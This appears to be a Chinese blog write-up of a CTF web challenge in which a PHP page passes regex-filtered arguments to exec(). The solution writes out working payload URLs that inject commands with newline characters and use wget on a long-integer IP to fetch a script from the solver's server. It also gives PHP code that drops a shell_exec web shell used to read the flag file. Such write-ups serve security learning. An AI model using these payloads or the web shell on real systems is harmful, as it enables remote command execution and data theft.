CTF web题总结--绕过正则表达式

代码:

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);


    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec('./ ' . implode(" ", $args));
?>

解题:
从源码可以看出index.php可以执行纯字母数字的linux命令,目标是去读flag.php文件中的flag.
1. 利用换行可绕过正则表达式执行命令。
2. 通过生成ip地址长整数绕过正则表达式,下载exploit脚本。
3. 通过tar命令将无后缀脚本打包,再用php命令执行

Example:
http://localhost/index.php?args[]=whatever%0a&args[]=mkdir&args[]=test%0a&args[]=cd&args[]=test%0a&args[]=wget&args[]=3232254721(本地ip的长整型,wget IP是会获得首页,所以可以把脚本写到index.html里)
http://localhost/index.php?args[]=whatever%0a&args[]=tar&args[]=cvf&args[]=exploit&args[]=test%0a&args[]=php&args[]=exploit

可以看到./后面跟了一个空格,所以无论如何都没有办法一条命令解决。这个时候需要使用多条命令。
首先使用%0A做截断,相当于换行执行之后的命令。之后就是想办法传入shell
因为没有办法直接下载一个php文件(正则限制不能包含点)

<?php
file_put_contents('shell.php', '<?php header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);?>
');
?>

所以将上面的脚本放到自己的服务器上,然后通过wget获取之后用tar打包
然后再用php执行tar包即可写入一个shell文件,然后就可以拿到flag

http://localhost/shell.php?cat flag.php
  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值